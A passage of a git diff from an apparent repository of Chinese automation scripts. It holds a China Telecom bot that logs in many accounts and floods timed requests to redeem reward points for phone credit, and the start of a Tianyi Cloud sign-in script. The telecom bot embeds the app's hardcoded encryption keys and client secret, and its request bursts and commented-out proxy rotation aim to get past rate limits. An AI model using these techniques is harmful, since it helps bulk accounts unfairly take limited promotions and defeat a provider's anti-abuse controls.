MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDBkLT15ThVgz6/NOl6s8GNPofdWzWbCkWnkaAm7O2LjkM1H7dMvzkiqdxU02jamGRHLX/ZNMCXHnPcW/sDhiFCBN18qFvy8g6VYb9QtroI09e176s+ZCtiv7hbin2cCTj99iUpnEloZm19lwHyo69u5UMiPMpq0/XKBO8lYhN/gwIDAQAB
|
||||
-----END PUBLIC KEY-----'''
|
||||
|
||||
public_key_data = '''-----BEGIN PUBLIC KEY-----
|
||||
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC+ugG5A8cZ3FqUKDwM57GM4io6JGcStivT8UdGt67PEOihLZTw3P7371+N47PrmsCpnTRzbTgcupKtUv8ImZalYk65dU8rjC/ridwhw9ffW2LBwvkEnDkkKKRi2liWIItDftJVBiWOh17o6gfbPoNrWORcAdcbpk2L+udld5kZNwIDAQAB
|
||||
-----END PUBLIC KEY-----'''
|
||||
|
||||
|
||||
def t(h):
|
||||
date = get_network_time()
|
||||
date_zero = date.replace(hour=h, minute=59, second=20)
|
||||
date_zero_time = time_module.mktime(date_zero.timetuple())
|
||||
return date_zero_time
|
||||
|
||||
|
||||
def encrypt(text):
|
||||
cipher = DES3.new(key, DES3.MODE_CBC, iv)
|
||||
ciphertext = cipher.encrypt(pad(text.encode(), DES3.block_size))
|
||||
return ciphertext.hex()
|
||||
|
||||
|
||||
def decrypt(text):
|
||||
ciphertext = bytes.fromhex(text)
|
||||
cipher = DES3.new(key, DES3.MODE_CBC, iv)
|
||||
plaintext = unpad(cipher.decrypt(ciphertext), DES3.block_size)
|
||||
return plaintext.decode()
|
||||
|
||||
|
||||
def b64(plaintext):
|
||||
public_key = RSA.import_key(public_key_b64)
|
||||
cipher = PKCS1_v1_5.new(public_key)
|
||||
ciphertext = cipher.encrypt(plaintext.encode())
|
||||
return base64.b64encode(ciphertext).decode()
|
||||
|
||||
|
||||
def encrypt_para(plaintext):
|
||||
public_key = RSA.import_key(public_key_data)
|
||||
cipher = PKCS1_v1_5.new(public_key)
|
||||
ciphertext = cipher.encrypt(plaintext.encode())
|
||||
return ciphertext.hex()
|
||||
|
||||
|
||||
def encode_phone(text):
|
||||
encoded_chars = []
|
||||
for char in text:
|
||||
encoded_chars.append(chr(ord(char) + 2))
|
||||
return ''.join(encoded_chars)
|
||||
|
||||
|
||||
def ophone(t):
|
||||
key = b'34d7cb0bcdf07523'
|
||||
utf8_t = t.encode('utf-8')
|
||||
cipher = AES.new(key, AES.MODE_ECB)
|
||||
ciphertext = cipher.encrypt(pad(utf8_t, AES.block_size))
|
||||
return ciphertext.hex()
|
||||
|
||||
|
||||
def send(uid, content):
|
||||
appToken = os.getenv("WXPUSHER_APP_TOKEN")
|
||||
uid = os.getenv("WXPUSHER_UID")
|
||||
|
||||
if not appToken or not uid:
|
||||
raise ValueError("WXPUSHER_APP_TOKEN 或 WXPUSHER_UID 未设置")
|
||||
|
||||
r = requests.post('https://wxpusher.zjiecode.com/api/send/message',
|
||||
json={"appToken": appToken, "content": content, "contentType": 1, "uids": [uid]}).json()
|
||||
return r
|
||||
|
||||
|
||||
def userLoginNormal(phone, password):
|
||||
alphabet = 'abcdef0123456789'
|
||||
uuid = [''.join(random.sample(alphabet, 8)), ''.join(random.sample(alphabet, 4)),
|
||||
'4' + ''.join(random.sample(alphabet, 3)), ''.join(random.sample(alphabet, 4)),
|
||||
''.join(random.sample(alphabet, 12))]
|
||||
timestamp = get_network_time().strftime("%Y%m%d%H%M%S")
|
||||
loginAuthCipherAsymmertric = 'iPhone 14 15.4.' + uuid[0] + uuid[1] + phone + timestamp + password[:6] + '0$$$0.'
|
||||
|
||||
try:
|
||||
r = ss.post('https://appgologin.189.cn:9031/login/client/userLoginNormal',
|
||||
json={"headerInfos": {"code": "userLoginNormal", "timestamp": timestamp,
|
||||
"broadAccount": "", "broadToken": "",
|
||||
"clientType": "#10.5.0#channel50#iPhone 14 Pro Max#",
|
||||
"shopId": "20002", "source": "110003",
|
||||
"sourcePassword": "Sid98s", "token": "",
|
||||
"userLoginName": encode_phone(phone)},
|
||||
"content": {"attach": "test", "fieldData": {"loginType": "4",
|
||||
"accountType": "",
|
||||
"loginAuthCipherAsymmertric": b64(loginAuthCipherAsymmertric),
|
||||
"deviceUid": uuid[0] + uuid[1] + uuid[2],
|
||||
"phoneNum": encode_phone(phone),
|
||||
"isChinatelecom": "0",
|
||||
"systemVersion": "15.4.0",
|
||||
"authentication": encode_phone(password)}}}).json()
|
||||
except Exception as e:
|
||||
print(f"登录请求失败,错误信息: {e}")
|
||||
return False
|
||||
|
||||
if r is None:
|
||||
print(f"登录请求失败,返回值为 None")
|
||||
return False
|
||||
|
||||
if 'responseData' not in r or r['responseData'] is None:
|
||||
print(f"登录请求失败,responseData 不存在或为 None: {r}")
|
||||
return False
|
||||
|
||||
if 'data' not in r['responseData'] or r['responseData']['data'] is None:
|
||||
print(f"登录请求失败,data 不存在或为 None: {r}")
|
||||
return False
|
||||
|
||||
if 'loginSuccessResult' not in r['responseData']['data']:
|
||||
print(f"登录请求失败,loginSuccessResult 不存在: {r}")
|
||||
return False
|
||||
|
||||
l = r['responseData']['data']['loginSuccessResult']
|
||||
|
||||
if l:
|
||||
load_token[phone] = l
|
||||
with open(load_token_file, 'w') as f:
|
||||
json.dump(load_token, f)
|
||||
ticket = get_ticket(phone, l['userId'], l['token'])
|
||||
return ticket
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def get_ticket(phone, userId, token):
|
||||
r = ss.post('https://appgologin.189.cn:9031/map/clientXML',
|
||||
data='<Request><HeaderInfos><Code>getSingle</Code><Timestamp>' + get_network_time().strftime("%Y%m%d%H%M%S") +
|
||||
'</Timestamp><BroadAccount></BroadAccount><BroadToken></BroadToken><ClientType>#9.6.1#channel50#iPhone 14 Pro Max#</ClientType>' +
|
||||
'<ShopId>20002</ShopId><Source>110003</Source><SourcePassword>Sid98s</SourcePassword><Token>' + token +
|
||||
'</Token><UserLoginName>' + phone + '</UserLoginName></HeaderInfos><Content><Attach>test</Attach>' +
|
||||
'<FieldData><TargetId>' + encrypt(userId) + '</TargetId><Url>4a6862274835b451</Url></FieldData></Content></Request>',
|
||||
headers={'user-agent': 'CtClient;10.4.1;Android;13;22081212C;NTQzNzgx!#!MTgwNTg1'})
|
||||
|
||||
tk = re.findall('<Ticket>(.*?)</Ticket>', r.text)
|
||||
if len(tk) == 0:
|
||||
return False
|
||||
return decrypt(tk[0])
|
||||
|
||||
|
||||
async def exchange(phone, s, title, aid, uid, amount):
|
||||
global h
|
||||
masked_phone = phone[:3] + '****' + phone[-4:]
|
||||
try:
|
||||
tt = time_module.time()
|
||||
start_time = time_module.time()
|
||||
end_time = time_module.time()
|
||||
#print_time_log(f"📱{masked_phone} 准备兑换 {title} 啦~ ⏳用时: {end_time - start_time:.3f} 秒")
|
||||
|
||||
now = get_network_time()
|
||||
if h is None:
|
||||
h = now.hour
|
||||
|
||||
if h == 9:
|
||||
first_target_time = now.replace(hour=h, minute=59, second=30, microsecond=0)
|
||||
elif h == 13:
|
||||
first_target_time = now.replace(hour=h, minute=59, second=30, microsecond=0)
|
||||
|
||||
first_time_diff = (first_target_time - now).total_seconds()
|
||||
if 0 <= first_time_diff <= 300:
|
||||
print_time_log(f"📱{masked_phone} 等待 {first_time_diff:.2f} 秒后开始哦~")
|
||||
await asyncio.sleep(first_time_diff)
|
||||
|
||||
morning_start = datetime.time(9, 30, 50)
|
||||
morning_end = datetime.time(10, 10, 5)
|
||||
afternoon_start = datetime.time(13, 30, 40)
|
||||
afternoon_end = datetime.time(14, 10, 5)
|
||||
current_time = now.time()
|
||||
|
||||
proxy = None
|
||||
#if (morning_start <= current_time <= morning_end) or (afternoon_start <= current_time <= afternoon_end):
|
||||
#if DY_PROXY:
|
||||
#try:
|
||||
#proxy_ip = await get_proxy_from_pool()
|
||||
#proxy = f"http://{proxy_ip}"
|
||||
#print_time_log(f"📱{masked_phone} 拿到代理IP啦~ 🌐{proxy_ip}")
|
||||
#except ValueError as e:
|
||||
#print_time_log(f"📱{masked_phone} {e} 用本地网络哦~ 📶")
|
||||
#else:
|
||||
#print_time_log(f"📱{masked_phone} 用本地网络啦~ 📶")
|
||||
#else:
|
||||
#print_time_log(f"📱{masked_phone} 用本地网络哦~ 📶")
|
||||
|
||||
#if h == 9:
|
||||
#second_target_time = now.replace(hour=h, minute=59, second=56, microsecond=803600)
|
||||
#elif h == 13:
|
||||
#second_target_time = now.replace(hour=h, minute=59, second=56, microsecond=793600)
|
||||
|
||||
#second_time_diff = (second_target_time - get_network_time()).total_seconds()
|
||||
#if 0 <= second_time_diff <= 300:
|
||||
#print_time_log(f"📱{masked_phone} 再等 {second_time_diff:.2f} 秒就好啦~")
|
||||
#await asyncio.sleep(second_time_diff)
|
||||
|
||||
#if proxy:
|
||||
#print_time_log(f"📱{masked_phone} 正在用代理IP: {proxy} 哦~")
|
||||
#else:
|
||||
#print_time_log(f"📱{masked_phone} 正在用本地网络~")
|
||||
|
||||
url = "https://wapact.189.cn:9001/gateway/standExchange/detailNew/exchange"
|
||||
request_start_time = datetime.datetime.now()
|
||||
|
||||
async with s.post(url, json={"activityId": aid}, proxy=proxy) as r:
|
||||
request_end_time = datetime.datetime.now()
|
||||
|
||||
print(f'\n⏰{str(get_network_time())[11:22]}')
|
||||
print(f"📱{masked_phone} 发送兑换请求时间: {request_start_time.strftime('%Y-%m-%d %H:%M:%S.%f')}")
|
||||
print(f"📱{masked_phone} 请求耗时: {(request_end_time - request_start_time).total_seconds():.6f} 秒")
|
||||
|
||||
if r.status == 412:
|
||||
print(f"📱{masked_phone} 遇到连续412错误,终止兑换啦~ 😢")
|
||||
return
|
||||
print(f"📱{masked_phone} 响应码: {r.status} {await r.text()}")
|
||||
if r.status == 200:
|
||||
r_json = await r.json()
|
||||
if r_json["code"] == 0:
|
||||
if r_json["biz"] != {} and r_json["biz"]["resultCode"] in errcode:
|
||||
print(f'📱{masked_phone} ------ {str(get_network_time())[11:22]} ------ {title} {errcode[r_json["biz"]["resultCode"]]}')
|
||||
|
||||
if r_json["biz"]["resultCode"] in ["0", "412"]:
|
||||
if r_json["biz"]["resultCode"] == "0":
|
||||
msg = phone + ":" + title + "兑换成功啦~ ✨"
|
||||
send(uid, msg)
|
||||
if phone not in dhjl[yf][title]:
|
||||
dhjl[yf][title].add(phone)
|
||||
with open('电信金豆换话费.log', 'w') as f:
|
||||
temp_dhjl = {k: {m: list(n) for m, n in v.items()} for k, v in dhjl.items()}
|
||||
json.dump(temp_dhjl, f, ensure_ascii=False)
|
||||
else:
|
||||
print_time_log(f'📱{masked_phone} {r_json}')
|
||||
else:
|
||||
print_time_log(f"📱{masked_phone} 兑换请求失败: {await r.text()}")
|
||||
|
||||
except Exception as e:
|
||||
print_time_log(f"📱{masked_phone} 发生错误: {e}")
|
||||
|
||||
|
||||
async def dh(phone, s, title, aid, wt, uid):
|
||||
global h
|
||||
masked_phone = phone[:3] + '****' + phone[-4:]
|
||||
print_time_log(f"📱{masked_phone} 💕{title} 开始兑换咯~")
|
||||
cs = 0
|
||||
tasks = []
|
||||
creat_start_time = datetime.datetime.now()
|
||||
# 每个账号10次兑换循环
|
||||
while cs < INNER_LOOP_COUNT:
|
||||
amount = title.split('元')[0]
|
||||
if (h == 9 and title in morning_exchanges) or (h == 13 and title in afternoon_exchanges):
|
||||
tasks.append(exchange(phone, s, title, aid, uid, amount))
|
||||
else:
|
||||
print_time_log(f"📱{masked_phone} 💕{title} 不在兑换时间哦,跳过啦~")
|
||||
cs += 1
|
||||
await asyncio.sleep(0.3)
|
||||
creat_end_time = datetime.datetime.now()
|
||||
print_time_log(f"📱{masked_phone} 创建了【{cs}】个任务 用时:{(creat_end_time - creat_start_time).total_seconds():.6f}秒")
|
||||
while wt > get_network_time().timestamp():
|
||||
await asyncio.sleep(1)
|
||||
await asyncio.gather(*tasks)
|
||||
|
||||
|
||||
def aes_ecb_encrypt(plaintext, key):
|
||||
key = key.encode('utf-8')
|
||||
if len(key) not in [16, 24, 32]:
|
||||
raise ValueError("密钥长度必须为16/24/32字节哦~")
|
||||
|
||||
padded_data = pad(plaintext.encode('utf-8'), AES.block_size)
|
||||
cipher = AES.new(key, AES.MODE_ECB)
|
||||
ciphertext = cipher.encrypt(padded_data)
|
||||
return base64.b64encode(ciphertext).decode('utf-8')
|
||||
|
||||
|
||||
async def ks(phone, ticket, uid):
|
||||
global h, wt
|
||||
masked_phone = phone[:3] + '****' + phone[-4:]
|
||||
print_time_log(f"📱{masked_phone} 准备开始兑换流程啦~")
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (Linux; Android 13; 22081212C Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.97 Mobile Safari/537.36",
|
||||
"Referer": "https://wapact.189.cn:9001/JinDouMall/JinDouMall_independentDetails.html"
|
||||
}
|
||||
|
||||
timeout = aiohttp.ClientTimeout(total=20)
|
||||
async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(ssl=ssl_context), headers=headers, timeout=timeout) as s:
|
||||
try:
|
||||
login_data = {
|
||||
"ticket": ticket,
|
||||
"backUrl": "https%3A%2F%2Fwapact.189.cn%3A9001",
|
||||
"platformCode": "P201010301",
|
||||
"loginType": 2
|
||||
}
|
||||
encrypted_data = aes_ecb_encrypt(json.dumps(login_data), 'telecom_wap_2018')
|
||||
max_retries = 3
|
||||
retries = 0
|
||||
while retries < max_retries:
|
||||
try:
|
||||
login_response = await s.post(
|
||||
'https://wapact.189.cn:9001/unified/user/login',
|
||||
data=encrypted_data,
|
||||
headers={
|
||||
"Content-Type": "application/json;charset=UTF-8",
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01"
|
||||
}
|
||||
)
|
||||
|
||||
if login_response.status == 200:
|
||||
login = await login_response.json()
|
||||
break
|
||||
elif login_response.status == 412:
|
||||
print_time_log(f"📱{masked_phone} 登录失败,重新尝试~")
|
||||
return await ks(phone, ticket, uid)
|
||||
else:
|
||||
print_time_log(f"📱{masked_phone} 登录请求失败,状态码: {login_response.status}")
|
||||
print_time_log(f"响应内容: {await login_response.text()}")
|
||||
|
||||
except (aiohttp.ClientError, asyncio.TimeoutError) as e:
|
||||
retries += 1
|
||||
print_time_log(f"📱{masked_phone} 登录失败,重试 {retries}/{max_retries}... 错误: {e}")
|
||||
await asyncio.sleep(2 ** retries)
|
||||
|
||||
if retries == max_retries:
|
||||
print_time_log(f"📱{masked_phone} 登录失败,重新尝试~")
|
||||
return await ks(phone, ticket, uid)
|
||||
|
||||
if 'login' in locals() and login['code'] == 0:
|
||||
s.headers["Authorization"] = "Bearer " + login["biz"]["token"]
|
||||
|
||||
r = await s.get('https://wapact.189.cn:9001/gateway/golden/api/queryInfo')
|
||||
r_json = await r.json()
|
||||
amountTotal = r_json["biz"]["amountTotal"]
|
||||
print_time_log(f'📱{masked_phone} 金豆余额:{amountTotal} 个~ ✨')
|
||||
|
||||
queryBigDataAppGetOrInfo = await s.get('https://wapact.189.cn:9001/gateway/golden/goldGoods/getGoodsList?floorType=0&userType=1&page=1&order=3&tabOrder=')
|
||||
queryBigDataAppGetOrInfo_json = await queryBigDataAppGetOrInfo.json()
|
||||
|
||||
if "biz" in queryBigDataAppGetOrInfo_json and "ExchangeGoodslist" in queryBigDataAppGetOrInfo_json["biz"]:
|
||||
for i in queryBigDataAppGetOrInfo_json["biz"]["ExchangeGoodslist"]:
|
||||
if '话费' not in i["title"]:
|
||||
continue
|
||||
for j in morning_exchanges:
|
||||
if j in i["title"]:
|
||||
jp["9"][j] = i["id"]
|
||||
for j in afternoon_exchanges:
|
||||
if j in i["title"]:
|
||||
jp["13"][j] = i["id"]
|
||||
else:
|
||||
print_time_log(f"📱{masked_phone} 获取商品列表失败啦~")
|
||||
|
||||
h = get_network_time().hour
|
||||
if 11 > h:
|
||||
h = 9
|
||||
else:
|
||||
h = 13
|
||||
|
||||
if len(sys.argv) == 2:
|
||||
h = int(sys.argv[1])
|
||||
|
||||
d = jp[str(h)]
|
||||
wt = t(h) + kswt
|
||||
# 优化后:提前过滤,仅保留未兑换的商品
|
||||
valid_products = []
|
||||
for di in sorted(d.keys(), key=lambda x: float(x.replace('元话费', '')), reverse=True):
|
||||
if phone not in dhjl[yf].get(di, set()): # 用集合快速判断
|
||||
valid_products.append(di)
|
||||
# 新增:外层循环控制
|
||||
for loop in range(OUTER_LOOP_COUNT):
|
||||
print_time_log(f"📱{masked_phone} 开始第 {loop + 1}/{OUTER_LOOP_COUNT} 轮兑换")
|
||||
tasks = []
|
||||
for di in valid_products:
|
||||
if wt - time_module.time() > 30 * 60:
|
||||
print_time_log(f"等待太久啦,退出咯~")
|
||||
return
|
||||
tasks.append(dh(phone, s, di, d[di], wt, uid))
|
||||
print_time_log(f"📱{masked_phone} 第 {loop + 1} 轮共有【{len(tasks)}】个兑换任务哦~")
|
||||
await asyncio.gather(*tasks)
|
||||
|
||||
# 轮次之间休息3秒,避免请求过于频繁
|
||||
if loop < OUTER_LOOP_COUNT - 1:
|
||||
await asyncio.sleep(0.01)
|
||||
else:
|
||||
print_time_log(f"📱{masked_phone} 获取token失败: {login['message']}")
|
||||
except Exception as e:
|
||||
print_time_log(f"📱{masked_phone} 发生错误: {e}")
|
||||
return
|
||||
|
||||
|
||||
async def main():
|
||||
global wt, rs, h
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (Linux; Android 13; 22081212C Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.97 Mobile Safari/537.36",
|
||||
"Referer": "https://wapact.189.cn:9001/JinDouMall/JinDouMall_independentDetails.html"
|
||||
}
|
||||
|
||||
timeout = aiohttp.ClientTimeout(total=20)
|
||||
rs = 0
|
||||
accounts = []
|
||||
for key, value in os.environ.items():
|
||||
if key == 'chinaTelecomAccount':
|
||||
accounts.extend(re.split(r'@|&',value))
|
||||
if not accounts:
|
||||
print("没有检测到账号哦~")
|
||||
return
|
||||
account_count = len(accounts)
|
||||
print_time_log(f"💖检测到 【{account_count}】 个账号")
|
||||
print_time_log(f"💖外层兑换循环次数: 【{OUTER_LOOP_COUNT}】 次")
|
||||
|
||||
batch_size = 20
|
||||
for i in range(0, account_count, batch_size):
|
||||
batch_accounts = accounts[i:i + batch_size]
|
||||
tasks = []
|
||||
for account in batch_accounts:
|
||||
account_info = account.split('#')
|
||||
phone = account_info[0]
|
||||
password = account_info[1]
|
||||
uid = account_info[-1]
|
||||
ticket = False
|
||||
masked_phone = phone[:3] + '****' + phone[-4:]
|
||||
if phone in load_token:
|
||||
print_time_log(f'📱{masked_phone} 用缓存登录啦~ ✨')
|
||||
ticket = get_ticket(phone, load_token[phone]['userId'], load_token[phone]['token'])
|
||||
|
||||
if not ticket:
|
||||
print_time_log(f'📱{masked_phone} 用密码登录啦~ 🔑')
|
||||
ticket = userLoginNormal(phone, password)
|
||||
|
||||
if ticket:
|
||||
tasks.append(ks(phone, ticket, uid))
|
||||
else:
|
||||
print_time_log(f'📱{masked_phone} 登录失败啦~ ❌')
|
||||
continue
|
||||
|
||||
while wt > datetime.datetime.now().timestamp():
|
||||
await asyncio.sleep(1)
|
||||
|
||||
await asyncio.gather(*tasks)
|
||||
print_time_log(f"✅完成第 {i // batch_size + 1} 批账号处理~")
|
||||
await asyncio.sleep(2)
|
||||
|
||||
|
||||
START_LOG = rf'''
|
||||
+--------------------------------------------------------------------+
|
||||
| 🌸 欢迎使用 金豆兑换话费 ✨
|
||||
+--------------------------------------------------------------------+
|
||||
'''
|
||||
|
||||
if __name__ == "__main__":
|
||||
print(START_LOG)
|
||||
print(f"💌 提醒:程序会提前【{kswt} 秒】准备好哦~")
|
||||
if len(sys.argv) > 1:
|
||||
h = int(sys.argv[1])
|
||||
else:
|
||||
h = None
|
||||
asyncio.run(main())
|
||||
|
||||
current_month = get_network_time().strftime("%Y%m")
|
||||
try:
|
||||
with open('电信金豆换话费.log', 'r') as fr:
|
||||
dhjl = json.load(fr)
|
||||
except FileNotFoundError:
|
||||
dhjl = {}
|
||||
|
||||
dhjl2 = {}
|
||||
if current_month in dhjl:
|
||||
records = dhjl[current_month]
|
||||
for fee, phones in records.items():
|
||||
if isinstance(phones, list):
|
||||
phone_list = phones
|
||||
else:
|
||||
phone_list = phones.strip('#').split('#')
|
||||
for phone in phone_list:
|
||||
if phone not in dhjl2:
|
||||
dhjl2[phone] = {}
|
||||
if current_month not in dhjl2[phone]:
|
||||
dhjl2[phone][current_month] = []
|
||||
dhjl2[phone][current_month].append(fee)
|
||||
|
||||
with open('电信金豆换话费2.log', 'w') as fw:
|
||||
json.dump(dhjl2, fw, ensure_ascii=False, indent=4)
|
||||
|
||||
current_time = get_network_time()
|
||||
start_time_1 = current_time.replace(hour=10, minute=0, second=30)
|
||||
end_time_1 = current_time.replace(hour=10, minute=10, second=0)
|
||||
start_time_2 = current_time.replace(hour=14, minute=0, second=30)
|
||||
end_time_2 = current_time.replace(hour=14, minute=10, second=0)
|
||||
|
||||
if (start_time_1 <= current_time < end_time_1) or (start_time_2 <= current_time < end_time_2):
|
||||
print("任务执行完成~")
|
||||
else:
|
||||
print("当前不在推送时间哦~")
|
||||
4319
福田/FTEJ.js
Normal file
4319
福田/FTEJ.js
Normal file
File diff suppressed because one or more lines are too long
562
福田/FTEJ.txt
Normal file
562
福田/FTEJ.txt
Normal file
File diff suppressed because one or more lines are too long
1472
福田/sendNotify.js
Normal file
1472
福田/sendNotify.js
Normal file
File diff suppressed because it is too large
Load Diff
28
福田/福田1.2.py
Normal file
28
福田/福田1.2.py
Normal file
File diff suppressed because one or more lines are too long
49
福田/福田可保客版本.py
Normal file
49
福田/福田可保客版本.py
Normal file
File diff suppressed because one or more lines are too long
2370
福田/福田缓存版本.js
Normal file
2370
福田/福田缓存版本.js
Normal file
File diff suppressed because it is too large
Load Diff
53
签到本/51代理签到_Loader_1.0.py
Normal file
53
签到本/51代理签到_Loader_1.0.py
Normal file
File diff suppressed because one or more lines are too long
1584
签到本/microsoft_reward_v1.41.js
Normal file
1584
签到本/microsoft_reward_v1.41.js
Normal file
File diff suppressed because it is too large
Load Diff
17
签到本/oppo商城签到.js
Normal file
17
签到本/oppo商城签到.js
Normal file
File diff suppressed because one or more lines are too long
1472
签到本/sendNotify.js
Normal file
1472
签到本/sendNotify.js
Normal file
File diff suppressed because it is too large
Load Diff
237
签到本/天翼云盘.py
Normal file
237
签到本/天翼云盘.py
Normal file
@@ -0,0 +1,237 @@
|
||||
#!/usr/bin/python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# @Time : 2025/5/9 9:48
|
||||
# 原作者:https://www.52pojie.cn/thread-1231190-1-1.html
|
||||
# 出处:https://github.com/vistal8/tianyiyun
|
||||
# cron "30 4 * * *" script-path=xxx.py,tag=匹配cron用
|
||||
# const $ = new Env('天翼云盘签到');
|
||||
# 变量说明:ty_username 用户名 &隔开 ty_password 密码 &隔开
|
||||
# 5.9变更:更改推送为表格单次推送 打印日志简化 现在抽奖只能抽一次 第二次和第三次已经失效。
|
||||
# 推送变量需设置 WXPUSHER_APP_TOKEN 和 WXPUSHER_UID(多个UID用&分隔)
|
||||
# 有图形验证码就是风控了 自己去网页端登陆 输入验证码 等几天
|
||||
import time
|
||||
import os
|
||||
import random
|
||||
import json
|
||||
import base64
|
||||
import hashlib
|
||||
import rsa
|
||||
import requests
|
||||
import re
|
||||
from urllib.parse import urlparse
|
||||
|
||||
BI_RM = list("0123456789abcdefghijklmnopqrstuvwxyz")
|
||||
B64MAP = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
|
||||
|
||||
# 从环境变量获取账号信息
|
||||
ty_usernames = os.getenv("ty_username").split('&') if os.getenv("ty_username") else []
|
||||
ty_passwords = os.getenv("ty_password").split('&') if os.getenv("ty_password") else []
|
||||
|
||||
# 检查环境变量
|
||||
if not ty_usernames or not ty_passwords:
|
||||
raise ValueError("❌ 请设置环境变量 ty_username 和 ty_password")
|
||||
|
||||
# 组合账号信息
|
||||
accounts = [{"username": u, "password": p} for u, p in zip(ty_usernames, ty_passwords)]
|
||||
|
||||
# WxPusher配置
|
||||
WXPUSHER_APP_TOKEN = os.getenv("WXPUSHER_APP_TOKEN")
|
||||
WXPUSHER_UIDS = os.getenv("WXPUSHER_UID", "").split('&')
|
||||
|
||||
def mask_phone(phone):
|
||||
"""隐藏手机号中间四位"""
|
||||
return phone[:3] + "****" + phone[-4:] if len(phone) == 11 else phone[:3] + "****" + phone[-4:]
|
||||
|
||||
def int2char(a):
|
||||
return BI_RM[a]
|
||||
|
||||
def b64tohex(a):
|
||||
d = ""
|
||||
e = 0
|
||||
c = 0
|
||||
for i in range(len(a)):
|
||||
if list(a)[i] != "=":
|
||||
v = B64MAP.index(list(a)[i])
|
||||
if 0 == e:
|
||||
e = 1
|
||||
d += int2char(v >> 2)
|
||||
c = 3 & v
|
||||
elif 1 == e:
|
||||
e = 2
|
||||
d += int2char(c << 2 | v >> 4)
|
||||
c = 15 & v
|
||||
elif 2 == e:
|
||||
e = 3
|
||||
d += int2char(c)
|
||||
d += int2char(v >> 2)
|
||||
c = 3 & v
|
||||
else:
|
||||
e = 0
|
||||
d += int2char(c << 2 | v >> 4)
|
||||
d += int2char(15 & v)
|
||||
if e == 1:
|
||||
d += int2char(c << 2)
|
||||
return d
|
||||
|
||||
def rsa_encode(j_rsakey, string):
|
||||
rsa_key = f"-----BEGIN PUBLIC KEY-----\n{j_rsakey}\n-----END PUBLIC KEY-----"
|
||||
pubkey = rsa.PublicKey.load_pkcs1_openssl_pem(rsa_key.encode())
|
||||
result = b64tohex((base64.b64encode(rsa.encrypt(f'{string}'.encode(), pubkey))).decode())
|
||||
return result
|
||||
|
||||
def login(username, password):
|
||||
print("🔄 正在执行登录流程...")
|
||||
s = requests.Session()
|
||||
try:
|
||||
urlToken = "https://m.cloud.189.cn/udb/udb_login.jsp?pageId=1&pageKey=default&clientType=wap&redirectURL=https://m.cloud.189.cn/zhuanti/2021/shakeLottery/index.html"
|
||||
r = s.get(urlToken)
|
||||
match = re.search(r"https?://[^\s'\"]+", r.text)
|
||||
if not match:
|
||||
print("❌ 错误:未找到动态登录页")
|
||||
return None
|
||||
|
||||
url = match.group()
|
||||
r = s.get(url)
|
||||
match = re.search(r"<a id=\"j-tab-login-link\"[^>]*href=\"([^\"]+)\"", r.text)
|
||||
if not match:
|
||||
print("❌ 错误:登录入口获取失败")
|
||||
return None
|
||||
|
||||
href = match.group(1)
|
||||
r = s.get(href)
|
||||
|
||||
captchaToken = re.findall(r"captchaToken' value='(.+?)'", r.text)[0]
|
||||
lt = re.findall(r'lt = "(.+?)"', r.text)[0]
|
||||
returnUrl = re.findall(r"returnUrl= '(.+?)'", r.text)[0]
|
||||
paramId = re.findall(r'paramId = "(.+?)"', r.text)[0]
|
||||
j_rsakey = re.findall(r'j_rsaKey" value="(\S+)"', r.text, re.M)[0]
|
||||
s.headers.update({"lt": lt})
|
||||
|
||||
username_enc = rsa_encode(j_rsakey, username)
|
||||
password_enc = rsa_encode(j_rsakey, password)
|
||||
|
||||
data = {
|
||||
"appKey": "cloud",
|
||||
"accountType": '01',
|
||||
"userName": f"{{RSA}}{username_enc}",
|
||||
"password": f"{{RSA}}{password_enc}",
|
||||
"validateCode": "",
|
||||
"captchaToken": captchaToken,
|
||||
"returnUrl": returnUrl,
|
||||
"mailSuffix": "@189.cn",
|
||||
"paramId": paramId
|
||||
}
|
||||
|
||||
headers = {
|
||||
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/76.0',
|
||||
'Referer': 'https://open.e.189.cn/',
|
||||
}
|
||||
|
||||
r = s.post(
|
||||
"https://open.e.189.cn/api/logbox/oauth2/loginSubmit.do",
|
||||
data=data,
|
||||
headers=headers,
|
||||
timeout=10
|
||||
)
|
||||
|
||||
if r.json().get('result', 1) != 0:
|
||||
print(f"❌ 登录错误:{r.json().get('msg')}")
|
||||
return None
|
||||
|
||||
s.get(r.json()['toUrl'])
|
||||
print("✅ 登录成功")
|
||||
return s
|
||||
|
||||
except Exception as e:
|
||||
print(f"⚠️ 登录异常:{str(e)}")
|
||||
return None
|
||||
|
||||
def send_wxpusher(msg):
|
||||
if not WXPUSHER_APP_TOKEN or not WXPUSHER_UIDS:
|
||||
print("⚠️ 未配置WxPusher,跳过消息推送")
|
||||
return
|
||||
|
||||
url = "https://wxpusher.zjiecode.com/api/send/message"
|
||||
headers = {"Content-Type": "application/json"}
|
||||
for uid in WXPUSHER_UIDS:
|
||||
data = {
|
||||
"appToken": WXPUSHER_APP_TOKEN,
|
||||
"content": msg,
|
||||
"contentType": 3,
|
||||
"topicIds": [],
|
||||
"uids": [uid],
|
||||
}
|
||||
try:
|
||||
resp = requests.post(url, json=data, headers=headers, timeout=10)
|
||||
if resp.json().get('code') == 1000:
|
||||
print(f"✅ 消息推送成功 -> UID: {uid}")
|
||||
else:
|
||||
print(f"❌ 消息推送失败:{resp.text}")
|
||||
except Exception as e:
|
||||
print(f"❌ 推送异常:{str(e)}")
|
||||
|
||||
def main():
|
||||
print("\n=============== 天翼云盘签到开始 ===============")
|
||||
all_results = []
|
||||
|
||||
for acc in accounts:
|
||||
username = acc["username"]
|
||||
password = acc["password"]
|
||||
masked_phone = mask_phone(username)
|
||||
account_result = {"username": masked_phone, "sign": "", "lottery": ""}
|
||||
|
||||
print(f"\n🔔 处理账号:{masked_phone}")
|
||||
|
||||
# 登录流程
|
||||
session = login(username, password)
|
||||
if not session:
|
||||
